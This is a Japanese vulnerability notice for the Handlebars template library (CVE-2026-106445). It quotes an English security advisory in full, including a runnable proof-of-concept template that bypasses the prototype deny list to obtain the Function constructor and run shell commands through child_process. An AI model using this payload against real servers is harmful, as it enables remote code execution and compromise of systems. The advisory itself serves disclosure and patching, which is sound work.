Handlebarsに脆弱性（CVE-2026-106445）
概要
Handlebarsに脆弱性が確認されました。
バージョン 3.0.0 以上 4.7.10 未満に影響があります。
修正版 4.7.10 への更新が推奨されます。
脆弱性の基本情報
| 脆弱性ID |
CVE-2026-106445 GHSA-p8wg-vrv2-v86f |
|---|---|
| 脆弱性の種類 | CWE-1289 / CWE-184 |
| 危険度 | 重大 |
| 公開日 | 2026年10月8日 |
| 更新日 | 2026年10月12日 |
影響を受ける製品
| 製品 | 影響を受けるバージョン | 修正版 | 出典 |
|---|---|---|---|
| Handlebars |
3.0.0 以上 4.7.10 未満 | 4.7.10 | OSV.dev |
推奨対応
- Handlebarsを修正版 4.7.10 またはそれ以降の公式最新版へ更新してください。
情報元の原文
OSV.dev
Handlebars: JavaScript Injection via Own Property Check Bypass
## Summary
Handlebars can expose the `Function` constructor despite its prototype-access deny list. When a template reaches `Function.prototype`, its own `constructor` property is returned before the deny list is checked. An attacker who can render a controlled template with `allowProtoMethodsByDefault: true` can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
## Description
`lookupProperty` trusts own properties:
```js
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return result;
}
```
Normally, prototype-derived values reach `resultIsAllowed`, which blocks dangerous method names such as `constructor`. However, `constructor` is itself an own property of prototype objects:
```js
Function.prototype.constructor === Function;
String.prototype.constructor === String;
Object.prototype.constructor === Object;
```
As a result, once a template reaches `Function.prototype`, looking up `constructor` returns `Function` without consulting the deny list.
## Proof of Concept
An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:
1. Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).
2. Access constructor via own property bypass: {{lookup (lookup myFunction "\_\_proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.
3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).
```javascript
const Handlebars = require('handlebars');
// constructor deny list bypass via hasOwnProperty check in lookupProperty
const template = Handlebars.compile(
// construct code array from template string literal
'{{#with a}}' +
'{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
'{{lookup "" (pop)}}' +
'{{lookup "" (shift)}}' +
'{{/with}}' +
// access Function via own property bypass on Function.prototype.constructor
'{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +
// #each sets depth0=Function without calling it, apply avoids hash body
'{{#each @root}}{{#if @index}}{{else}}' +
'{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
'{{/if}}{{/each}}'
);
const result = template(
{ fn: function(){}, a: [0] },
{ allowProtoMethodsByDefault: true }
);
console.log(result.trim());
// output: uid=1000(node) gid=1000(node) groups=1000(node)
```
## Workarounds
Do not set `allowProtoMethodsByDefault: true` when compiling untrusted templates with untrusted data.
If you are using packages like [hbs](https://www.npmjs.com/package/hbs) which set `allowProtoMethodsByDefault: true` by default, you have to update Handlebars to the latest version.
利用条件：CC BY 4.0
出典: GitHub Advisory Database（OSV.dev 経由で取得）。原文のまま掲載（改変なし）